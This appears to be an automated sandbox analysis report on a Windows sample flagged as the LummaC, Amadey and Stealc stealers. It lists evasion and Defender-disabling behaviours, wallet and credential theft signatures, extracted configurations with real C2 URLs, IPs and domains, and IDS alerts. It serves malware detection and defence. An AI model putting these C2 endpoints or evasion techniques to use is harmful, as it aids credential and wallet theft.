Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1541054
MD5: 7b4cc8ac4ac8827894a00407b15007c3
SHA1: 0b9182457171726509f5ddb2b577cec7f7cdfb08
SHA256: ef71225b333b75e7768c7f252c9fe4910e3bac8221c157a2688baad2a564485d
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Excessive usage of taskkill to terminate processes
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000005.00000003.2397910206.0000000004C60000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 35.0.num.exe.710000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: file.exe.1832.0.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["clearancek.site", "eaglepawnoy.store", "mobbipenju.store", "studennotediw.store", "bathdoomgaz.store", "licendfilteo.site", "spirittunek.store", "dissapoiznw.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe ReversingLabs: Detection: 44%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 44%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: clearancek.site
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: licendfilteo.site
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: spirittunek.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: bathdoomgaz.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: studennotediw.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: dissapoiznw.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: eaglepawnoy.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: mobbipenju.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: clearancek.site
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: TeslaBrowser/5.5
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: - Screen Resoluton:
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: - Physical Installed Memory:
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Workgroup: -
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp String decryptor: 4SD0y4--legendaryy
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Code function: 6_2_00B72890 CryptVerifySignatureA, 6_2_00B72890
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50115 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50122 version: TLS 1.2
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: A77BGJTTW6SX9ESX.exe, 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmp, A77BGJTTW6SX9ESX.exe, 00000006.00000003.2417153642.00000000047C0000.00000004.00001000.00020000.00000000.sdmp
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp] 9_2_004AD110
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp] 9_2_004AD110
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh 9_2_004E99D0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 9_2_004AFCA0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esi+20h] 9_2_004B6F91
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h 9_2_004BD961
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h 9_2_004E3920
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 9_2_004A49A0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h 9_2_004E4A40
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then movzx edx, byte ptr [esi+ebx] 9_2_004A5A50
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then jmp eax 9_2_004B1A3C
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then jmp eax 9_2_004B1ACD
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 9_2_004B42FC
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh 9_2_004E9B60
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp+40h] 9_2_004B1BEE
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 9_2_004B3BE2
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov word ptr [eax], cx 9_2_004BD457
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov ebp, eax 9_2_004AA46A
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov ebp, eax 9_2_004AA461
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp+0Ch] 9_2_004CC470
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov dword ptr [esp], 00000000h 9_2_004BB410
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h 9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp] 9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h 9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp] 9_2_004E9CE0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh 9_2_004E9CE0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh 9_2_004CFD10
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 9_2_004B6536
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h] 9_2_004A8590
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 9_2_004B0EEC
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp+40h] 9_2_004B1E93
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then movzx edi, byte ptr [ecx+esi] 9_2_004A6EA0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then cmp byte ptr [ebx], 00000000h 9_2_004B6EBF
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then movzx ecx, word ptr [ebp+00h] 9_2_004ABEB0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esp] 9_2_004E5700
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 4x nop then mov eax, dword ptr [esi+20h] 9_2_004B6F91
Source: firefox.exe Memory has grown: Private usage: 0MB later: 190MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:53798 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:60409 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:64425 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:54324 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:62813 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:53329 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:49807 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:57146 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49831 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49832 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:54074 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:50123 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:51183 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:59107 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:53060 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:57813 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:51844 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:49197 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49848
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49881 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49918 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49913 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:55166 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:52184 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:63687 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:57811 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:50298 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49957 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:63430 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:65174 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49993 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49985 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50034 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:52409 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:58956 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:59941 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:61861 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50022 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:62512 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:59078 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:58626 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50072 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50066 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:61858 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:51597 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 104.21.53.8:443
